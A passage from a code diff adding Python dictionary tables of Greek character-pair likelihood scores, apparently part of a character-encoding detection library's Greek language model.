+ 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 1, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 34: { # 'Ε' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 3, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 3, # 'γ' + 21: 2, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 2, # 'ι' + 11: 3, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 0, # 'ώ' + }, + 40: { # 'Η' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 52: { # 'Θ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 1, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 47: { # 'Ι' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 1, # 'Β' + 43: 1, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 1, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 44: { # 'Κ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 1, # 'Ω' + 17: 3, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 53: { # 'Λ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 1, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 38: { # 'Μ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 2, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 2, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 49: { # 'Ν' + 60: 2, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 1, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 1, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 59: { # 'Ξ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 39: { # 'Ο' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 1, # 'Β' + 43: 2, # 'Γ' + 41: 2, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 2, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 1, # 'φ' + 23: 1, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 35: { # 'Π' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 2, # 'Λ' + 38: 1, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 1, # 'έ' + 22: 1, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 2, # 'ό' + 26: 0, # 'ύ' + 27: 3, # 'ώ' + }, + 48: { # 'Ρ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 37: { # 'Σ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 1, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 2, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 2, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 2, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 2, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 3, # 'ε' + 32: 0, # 'ζ' + 13: 3, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 2, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 3, # 'τ' + 12: 3, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 2, # 'ώ' + }, + 33: { # 'Τ' + 60: 0, # 'e' + 55: 1, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 1, # 'Τ' + 45: 1, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 2, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 3, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 2, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 2, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 3, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 2, # 'ό' + 26: 2, # 'ύ' + 27: 3, # 'ώ' + }, + 45: { # 'Υ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 2, # 'Η' + 52: 2, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 1, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 56: { # 'Φ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 2, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 1, # 'ύ' + 27: 1, # 'ώ' + }, + 50: { # 'Χ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 1, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 1, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 3, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 2, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 57: { # 'Ω' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 1, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 2, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 